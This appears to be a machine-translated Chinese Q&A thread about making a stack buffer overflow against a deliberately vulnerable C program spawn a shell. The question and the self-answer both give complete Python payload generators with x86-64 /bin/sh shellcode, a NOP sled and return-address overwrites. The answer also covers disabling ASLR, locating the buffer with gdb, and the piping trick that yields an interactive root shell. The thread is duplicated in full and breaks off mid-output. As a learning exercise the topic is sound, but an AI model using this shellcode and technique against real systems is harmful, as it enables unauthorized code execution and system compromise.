如何执行简单的 buffer_overflow 攻击?
How to perform a simple buffer_overflow attack?
我已经尝试过数千次这样的攻击,但都失败并以同样的问题结束。
我已经发布了我的 bufferoverflow.c
程序的代码。我用 gcc 和 -fno-stack-protector
标志和 -z execstack
.
编译了它
我在gdb的帮助下调试了这个程序,发现它需要424个字符才能产生段错误[缓冲区溢出]。我还提供了我的 hack.py
的代码,我将其输出存储在一个名为 fuzzing
的文件中。完成所有操作后,每次我遇到这个终点时,当我测试我的程序并用 fuzzing
喂它时,它仍然崩溃并且不给我一个 shell!
int vuln() {
// Define variables
char arr[400];
int return_status;
// Grab user input
printf("What's your name?\n");
return_status = read(0, arr, 800);
// Print user input
printf("Hey %s", arr);
// Return success
return 0;
}
int main(int argc, char *argv[]) {
// Call vulnerable function
vuln();
// Return success
return 0;
}
以上代码为bufferoverflow.c
.
# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf3\xb2\xb6\x93\x1e\x9d\x9c"
buf += "\x79\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x99\x9b\xee\x0a\x74\x9f\xc3\x13\xf2\xec\xb9\x96\x56"
buf += "\x0a\xd4\xc0\xf1\xb2\xa7\xcf\xde\x35\xb7\x4f\xa2\xfa"
buf += "\x3f\x75\x74\x8d\xc6\x13\xd9\xea\xb9\x96\x74\x9e\xc2"
buf += "\x31\x0c\x7c\xdc\xb2\x46\x92\x99\x0c\x05\xd8\x8d\xcb"
buf += "\x87\xd5\x27\x56\x91\xdb\xd8\xbc\x6d\xf5\x9c\x2a\xbb"
buf += "\x3b\x51\xc1\x49\xd5\x15\x9f\xfc\xb7\xb6\x93\x1e\x9d"
buf += "\x9c\x79"
## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
print nop_slide + buf + padding + return_address
以上代码属于 hack.py
,其输出存储在 fuzzing
中,并作为程序的输入文件。
我希望我的程序在 msfconsole 中给我一个 shell 但它实际上在一个点停止并显示以下错误:
root@kali:~/Buffer Overflow# ./bufferoverflow < fuzzing
What's your name?
Hey ����������������������������������������������������������������������������������������������������H1�H������H�����H���yH1X'H-���������
t���칖V
Segmentation fault
root@kali:~/Buffer Overflow#
好的,我解决了我的问题!很简单。
假设我有以下代码:-
#include <stdio.h>
void vuln() {
char string[1024];
gets(string);
printf("%s\n", string);
}
int main() {
vuln();
}
我将它保存在一个名为 script.c 的文件中并使用 :-
编译它
gcc -z execstack script.c -o script.elf
在继续之前,我将禁用 ASLR,这样它就不会搞砸内存地址:-
echo 0 > /proc/sys/kernal/randomize_va_space
现在和往常一样,我使用GDB调试程序,发现缓冲区位于rbp-0x400,并在gets函数后设置断点。当我启动程序并给它输入很多 A 时,我检查了缓冲区,发现我可以覆盖 RIP 并使其指向接近缓冲区开头的地址,以便控制跳转到 NOP -雪橇,然后向下滑动到 shell 代码。这是在 GDB 中检查缓冲区的输出。
(gdb) x/64x $rbp-0x400
0x7fffffffdc60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc90: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdca0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcb0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd40: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd50: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
所以我决定让 RIP 指向 0x7fffffffdc70 然后我在 payload.py:-
import sys
import struct
offset = 1032
RET = struct.pack("Q", 0x7fffffffdc70)
buf = b""
buf += b"\x90" * 256
buf += b"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x66\xc0\xf5\xcb\x71\x99\xa8"
buf += b"\x4c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x0c\xfb\xad\x52\x39\x22\x87\x2e\x0f\xae\xda\xb8\x19"
buf += b"\x99\xfb\x04\xef\x27\x9d\xe6\x12\x99\xa8\x04\xef\x26"
buf += b"\xa7\x23\x7b\x99\xa8\x4c\x49\xa2\x9c\xa5\x5e\xfb\xc9"
buf += b"\x3f\x0e\xc0\xa3\x9c\x39\x10\x4e\x43\x63\xc0\xf5\xcb"
buf += b"\x71\x99\xa8\x4c"
buf += b"\x41" * (offset - len(buf))
buf += RET
sys.stdout.buffer.write(buf)
NOTE : The above shellcode spawns the /bin/sh shell.
现在我将此 python 脚本的输出存储在名为 exploit.txt 的文件中
并通过 exploit.txt :-
将输入提供给 GDB 中的程序
root@linux:~/Desktop/Buffer Overflow# python3 payload.py > exploit.txt
root@linux:~/Desktop/Buffer Overflow# gdb ./script.elf -q
Reading symbols from ./script.elf...
(No debugging symbols found in ./script.elf)
(gdb) r < exploit.txt
Starting program: /root/Desktop/Buffer Overflow/script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
process 136690 is executing new program: /usr/bin/dash
[Detaching after fork from child process 136694]
[Inferior 1 (process 136690) exited normally]
(gdb)
等等什么??我们执行了 /bin/sh 而不是 /bin/dash。好吧,这看起来不正确,但实际上是真的,因为 /bin/sh 实际上指向 /bin/dash :-
root@linux:~/Desktop/Buffer Overflow# ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Nov 29 2019 /bin/sh -> dash
但无论如何,这在 GDB 中不起作用!我在 GDB 之外尝试了这个,我得到了这些结果:-
root@linux:~/Desktop/Buffer Overflow# ./script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
Illegal instruction
root@linux:~/Desktop/Buffer Overflow#
等等,这很奇怪!我们应该得到一个 shell 的权利,至少在 GDB 中我们能够执行我们的 shell 代码,但在它之外我们得到一个 'Illegal Instruction'。哦,天哪,我花了很多时间寻找答案,终于想通了。
原因是,虽然禁用了 ASLR,所以地址没有改变,但 ENVIRONMENT VARIABLES 是罪魁祸首。
所以环境变量在 GDB 和实际终端中发生了变化。我们无法摆脱它们,那么我们如何才能在运行时确定缓冲区的正确起始地址。
我所做的是在一个终端中执行程序:-
root@linux:~/Desktop/Buffer Overflow# ./script.elf
现在正在等待输入,所以我快速打开另一个终端并使用以下命令:-
root@linux:~# gdb --pid $(pidof ./script.elf) -q
Attaching to process 136928
Reading symbols from /root/Desktop/Buffer Overflow/script.elf...
(No debugging symbols found in /root/Desktop/Buffer Overflow/script.elf)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/40/f80fd23b36ba3a7e20f63d615dc1aca83f4262.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/8a/980b57d17a1e050e7646f9604e8a96824d3691.debug...
0x00007ffff7ecf59e in __GI___libc_read (fd=0, buf=0x5555555592a0, nbytes=1024)
at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb)
所以我将 GDB 附加到 运行ning 程序,然后我在 gets 函数之后设置了一个断点,然后在前一个终端中输入了一些 A [其中 script.elf 是 运行ning ],按回车键后,我切换回 GDB 终端并输入 'c' 。就这样继续下去,终于到了断点。这次我可以准确地分析缓冲区了:-
(gdb) x/64x $rbp-0x400
0x7fffffffdcc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd40: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd50: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdda0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
所以现在我将选择地址 0x7fffffffdcd0 作为 RIP 必须指向的位置。我修改了payload.py并保存了!然后我将它的输出用作 script.elf 的输入,我得到了这个 :-
root@linux:~/Desktop/Buffer Overflow# python3 payload.py | ./script.elf
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
root@linux:~/Desktop/Buffer Overflow#
哇!!执行了 Shellcode 但我们没有得到 shell。看起来很混乱。实际上 shell 代码完美执行并等待输入 & 因为我们给程序的唯一输入是 payload.py[= 的输出85=]。所以如果我们只使用 :-
python3 payload.py && cat
我们可以通过 stdin 提供输入,它可以通过 stdout 回显。看起来不错,我们执行 shell 代码,程序要求输入,我们给它输入,它读取,在 /bin/sh shell 上执行它,并给出输出。太好了,那么我们怎样才能让它工作呢?很简单,我们将使用上述命令的组合输入到 script.elf 像这样:-
(python3 payload.py && cat) | ./script.elf
我们得到这样的输出:-
root@linux:~/Desktop/Buffer Overflow# (python3 payload.py && cat) | ./script.elf
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
ls
exploit.txt payload.py script.c script.elf
pwd
/root/Desktop/Buffer Overflow
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
哇!固定它!那很简单。
NOTE : The 'ls', 'pwd', 'whoami' & 'id' are entered by me during run-time
所以这个漏洞现在可以完美运行了!!
我已经尝试过数千次这样的攻击,但都失败并以同样的问题结束。
我已经发布了我的 bufferoverflow.c
程序的代码。我用 gcc 和 -fno-stack-protector
标志和 -z execstack
.
我在gdb的帮助下调试了这个程序,发现它需要424个字符才能产生段错误[缓冲区溢出]。我还提供了我的 hack.py
的代码,我将其输出存储在一个名为 fuzzing
的文件中。完成所有操作后,每次我遇到这个终点时,当我测试我的程序并用 fuzzing
喂它时,它仍然崩溃并且不给我一个 shell!
int vuln() {
// Define variables
char arr[400];
int return_status;
// Grab user input
printf("What's your name?\n");
return_status = read(0, arr, 800);
// Print user input
printf("Hey %s", arr);
// Return success
return 0;
}
int main(int argc, char *argv[]) {
// Call vulnerable function
vuln();
// Return success
return 0;
}
以上代码为bufferoverflow.c
.
# Payload generator
## Total payload length
payload_length = 424
## Amount of nops
nop_length = 100
## Controlled memory address to return to in Little Endian format
return_address = '\x20\xe1\xff\xff\xff\x7f\x00\x00'
## Building the nop slide
nop_slide = "\x90" * nop_length
## Malicious code injection
buf = ""
buf += "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += "\xef\xff\xff\xff\x48\xbb\xf3\xb2\xb6\x93\x1e\x9d\x9c"
buf += "\x79\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += "\x99\x9b\xee\x0a\x74\x9f\xc3\x13\xf2\xec\xb9\x96\x56"
buf += "\x0a\xd4\xc0\xf1\xb2\xa7\xcf\xde\x35\xb7\x4f\xa2\xfa"
buf += "\x3f\x75\x74\x8d\xc6\x13\xd9\xea\xb9\x96\x74\x9e\xc2"
buf += "\x31\x0c\x7c\xdc\xb2\x46\x92\x99\x0c\x05\xd8\x8d\xcb"
buf += "\x87\xd5\x27\x56\x91\xdb\xd8\xbc\x6d\xf5\x9c\x2a\xbb"
buf += "\x3b\x51\xc1\x49\xd5\x15\x9f\xfc\xb7\xb6\x93\x1e\x9d"
buf += "\x9c\x79"
## Building the padding between buffer overflow start and return address
padding = 'B' * (payload_length - nop_length - len(buf))
print nop_slide + buf + padding + return_address
以上代码属于 hack.py
,其输出存储在 fuzzing
中,并作为程序的输入文件。
我希望我的程序在 msfconsole 中给我一个 shell 但它实际上在一个点停止并显示以下错误:
root@kali:~/Buffer Overflow# ./bufferoverflow < fuzzing
What's your name?
Hey ����������������������������������������������������������������������������������������������������H1�H������H�����H���yH1X'H-���������
t���칖V
Segmentation fault
root@kali:~/Buffer Overflow#
好的,我解决了我的问题!很简单。
假设我有以下代码:-
#include <stdio.h>
void vuln() {
char string[1024];
gets(string);
printf("%s\n", string);
}
int main() {
vuln();
}
我将它保存在一个名为 script.c 的文件中并使用 :-
编译它gcc -z execstack script.c -o script.elf
在继续之前,我将禁用 ASLR,这样它就不会搞砸内存地址:-
echo 0 > /proc/sys/kernal/randomize_va_space
现在和往常一样,我使用GDB调试程序,发现缓冲区位于rbp-0x400,并在gets函数后设置断点。当我启动程序并给它输入很多 A 时,我检查了缓冲区,发现我可以覆盖 RIP 并使其指向接近缓冲区开头的地址,以便控制跳转到 NOP -雪橇,然后向下滑动到 shell 代码。这是在 GDB 中检查缓冲区的输出。
(gdb) x/64x $rbp-0x400
0x7fffffffdc60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdc90: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdca0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcb0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd40: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd50: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
所以我决定让 RIP 指向 0x7fffffffdc70 然后我在 payload.py:-
import sys
import struct
offset = 1032
RET = struct.pack("Q", 0x7fffffffdc70)
buf = b""
buf += b"\x90" * 256
buf += b"\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x66\xc0\xf5\xcb\x71\x99\xa8"
buf += b"\x4c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x0c\xfb\xad\x52\x39\x22\x87\x2e\x0f\xae\xda\xb8\x19"
buf += b"\x99\xfb\x04\xef\x27\x9d\xe6\x12\x99\xa8\x04\xef\x26"
buf += b"\xa7\x23\x7b\x99\xa8\x4c\x49\xa2\x9c\xa5\x5e\xfb\xc9"
buf += b"\x3f\x0e\xc0\xa3\x9c\x39\x10\x4e\x43\x63\xc0\xf5\xcb"
buf += b"\x71\x99\xa8\x4c"
buf += b"\x41" * (offset - len(buf))
buf += RET
sys.stdout.buffer.write(buf)
NOTE : The above shellcode spawns the /bin/sh shell.
现在我将此 python 脚本的输出存储在名为 exploit.txt 的文件中 并通过 exploit.txt :-
将输入提供给 GDB 中的程序root@linux:~/Desktop/Buffer Overflow# python3 payload.py > exploit.txt
root@linux:~/Desktop/Buffer Overflow# gdb ./script.elf -q
Reading symbols from ./script.elf...
(No debugging symbols found in ./script.elf)
(gdb) r < exploit.txt
Starting program: /root/Desktop/Buffer Overflow/script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
process 136690 is executing new program: /usr/bin/dash
[Detaching after fork from child process 136694]
[Inferior 1 (process 136690) exited normally]
(gdb)
等等什么??我们执行了 /bin/sh 而不是 /bin/dash。好吧,这看起来不正确,但实际上是真的,因为 /bin/sh 实际上指向 /bin/dash :-
root@linux:~/Desktop/Buffer Overflow# ls -al /bin/sh
lrwxrwxrwx 1 root root 4 Nov 29 2019 /bin/sh -> dash
但无论如何,这在 GDB 中不起作用!我在 GDB 之外尝试了这个,我得到了这些结果:-
root@linux:~/Desktop/Buffer Overflow# ./script.elf < exploit.txt
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
��R9"�.�ڸ���'�����&�#{��LI���^��?���9NCc���q��LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp����
Illegal instruction
root@linux:~/Desktop/Buffer Overflow#
等等,这很奇怪!我们应该得到一个 shell 的权利,至少在 GDB 中我们能够执行我们的 shell 代码,但在它之外我们得到一个 'Illegal Instruction'。哦,天哪,我花了很多时间寻找答案,终于想通了。 原因是,虽然禁用了 ASLR,所以地址没有改变,但 ENVIRONMENT VARIABLES 是罪魁祸首。 所以环境变量在 GDB 和实际终端中发生了变化。我们无法摆脱它们,那么我们如何才能在运行时确定缓冲区的正确起始地址。
我所做的是在一个终端中执行程序:-
root@linux:~/Desktop/Buffer Overflow# ./script.elf
现在正在等待输入,所以我快速打开另一个终端并使用以下命令:-
root@linux:~# gdb --pid $(pidof ./script.elf) -q
Attaching to process 136928
Reading symbols from /root/Desktop/Buffer Overflow/script.elf...
(No debugging symbols found in /root/Desktop/Buffer Overflow/script.elf)
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...
Reading symbols from /usr/lib/debug/.build-id/40/f80fd23b36ba3a7e20f63d615dc1aca83f4262.debug...
Reading symbols from /lib64/ld-linux-x86-64.so.2...
Reading symbols from /usr/lib/debug/.build-id/8a/980b57d17a1e050e7646f9604e8a96824d3691.debug...
0x00007ffff7ecf59e in __GI___libc_read (fd=0, buf=0x5555555592a0, nbytes=1024)
at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
(gdb)
所以我将 GDB 附加到 运行ning 程序,然后我在 gets 函数之后设置了一个断点,然后在前一个终端中输入了一些 A [其中 script.elf 是 运行ning ],按回车键后,我切换回 GDB 终端并输入 'c' 。就这样继续下去,终于到了断点。这次我可以准确地分析缓冲区了:-
(gdb) x/64x $rbp-0x400
0x7fffffffdcc0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcd0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdce0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdcf0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd00: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd10: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd20: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd30: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd40: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd50: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd60: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdda0: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffddb0: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb)
所以现在我将选择地址 0x7fffffffdcd0 作为 RIP 必须指向的位置。我修改了payload.py并保存了!然后我将它的输出用作 script.elf 的输入,我得到了这个 :-
root@linux:~/Desktop/Buffer Overflow# python3 payload.py | ./script.elf
����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�H������H�����H�f���q��LH1X'H-������
